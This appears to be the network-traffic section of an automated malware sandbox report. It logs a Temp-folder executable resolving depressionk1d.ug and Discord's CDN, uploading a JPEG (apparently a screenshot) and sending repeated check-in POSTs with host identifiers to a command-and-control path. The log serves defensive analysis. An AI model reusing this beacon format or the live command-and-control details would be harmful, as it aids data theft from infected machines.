Nov 12, 2021 22:24:57.873223066 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873239040 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873249054 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.873253107 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873306036 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.873322964 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.873339891 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.873370886 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873421907 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.873424053 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.873493910 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.885513067 CET	50237	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.896421909 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896451950 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896466970 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896481037 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896493912 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896507978 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896522999 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896537066 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896550894 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896564007 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896589041 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896604061 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896614075 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896617889 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.896629095 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896644115 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896657944 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896672964 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896687031 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.896699905 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.898711920 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.908785105 CET	80	50237	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.908876896 CET	50237	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.910067081 CET	50237	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.919897079 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.919917107 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.919925928 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.919953108 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.919966936 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.924544096 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.924637079 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:57.933233976 CET	80	50237	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.936794043 CET	80	50237	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:57.936867952 CET	50237	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.054259062 CET	50237	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.054682016 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.056237936 CET	50238	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.078578949 CET	80	50237	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.078608036 CET	80	50238	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.078646898 CET	50237	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.078735113 CET	50238	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.078879118 CET	80	50236	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.078988075 CET	50236	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.079689026 CET	50238	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.102268934 CET	80	50238	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.107564926 CET	80	50238	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.107652903 CET	50238	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.227544069 CET	50238	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.231188059 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.250361919 CET	80	50238	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.250510931 CET	50238	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.256658077 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.259053946 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.259754896 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.283714056 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.286691904 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.286782026 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.403852940 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.404019117 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.404156923 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.404182911 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.426518917 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.426554918 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.426573038 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.426588058 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.426630020 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.426749945 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.426808119 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.428145885 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.428675890 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.449227095 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.449287891 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.449323893 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.449359894 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.449398041 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.449461937 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.449522972 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.449697971 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.449744940 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.449769020 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.449771881 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.449853897 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.451369047 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.451387882 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.451500893 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.472740889 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.472769022 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.472784996 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.472800016 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.472928047 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.473000050 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:58.474881887 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.474909067 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.474925041 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.474940062 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.474953890 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.474968910 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.474983931 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.474998951 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.475013971 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.476636887 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.495680094 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.495707989 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.495718956 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.495733976 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.496625900 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.499691963 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:58.502841949 CET	50239	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:25:03.499192953 CET	80	50239	178.208.83.45	192.168.2.4
Nov 12, 2021 22:25:03.499305010 CET	50239	80	192.168.2.4	178.208.83.45

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2021 22:23:06.647032976 CET	49910	53	192.168.2.4	8.8.8.8
Nov 12, 2021 22:23:06.692743063 CET	53	49910	8.8.8.8	192.168.2.4
Nov 12, 2021 22:23:07.023547888 CET	55854	53	192.168.2.4	8.8.8.8
Nov 12, 2021 22:23:07.044467926 CET	53	55854	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 12, 2021 22:23:06.647032976 CET	192.168.2.4	8.8.8.8	0xe0e4	Standard query (0)	depressionk1d.ug	A (IP address)	IN (0x0001)
Nov 12, 2021 22:23:07.023547888 CET	192.168.2.4	8.8.8.8	0x45b1	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Nov 12, 2021 22:23:06.692743063 CET	8.8.8.8	192.168.2.4	0xe0e4	No error (0)	depressionk1d.ug	178.208.83.45	A (IP address)	IN (0x0001)
Nov 12, 2021 22:23:07.044467926 CET	8.8.8.8	192.168.2.4	0x45b1	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)
Nov 12, 2021 22:23:07.044467926 CET	8.8.8.8	192.168.2.4	0x45b1	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)
Nov 12, 2021 22:23:07.044467926 CET	8.8.8.8	192.168.2.4	0x45b1	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)
Nov 12, 2021 22:23:07.044467926 CET	8.8.8.8	192.168.2.4	0x45b1	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)
Nov 12, 2021 22:23:07.044467926 CET	8.8.8.8	192.168.2.4	0x45b1	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

depressionk1d.ug

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49785	162.159.129.233	443	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49800	162.159.129.233	443	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49791	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:13.779541969 CET	1688	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:13.779721022 CET	1689	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:13.779939890 CET	1699	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:13.780093908 CET	1701	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:13.803266048 CET	1704	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:13.803297997 CET	1707	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:13.803437948 CET	1715	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:13.803755045 CET	1718	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:13.803777933 CET	1720	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:13.803821087 CET	1722	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:13.803953886 CET	1727	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:13.875251055 CET	1799	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:13 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.4	49885	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:40.510149002 CET	6050	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:40.536098957 CET	6051	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.4	49886	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:40.666706085 CET	6051	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:40.693264961 CET	6052	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.4	49887	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:40.825269938 CET	6052	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:40.848125935 CET	6054	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:40 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" 